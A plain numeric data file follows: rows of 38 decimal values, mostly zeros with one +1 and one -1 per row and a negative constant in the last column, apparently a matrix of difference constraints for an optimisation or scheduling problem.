0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -86.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -99.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -14.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
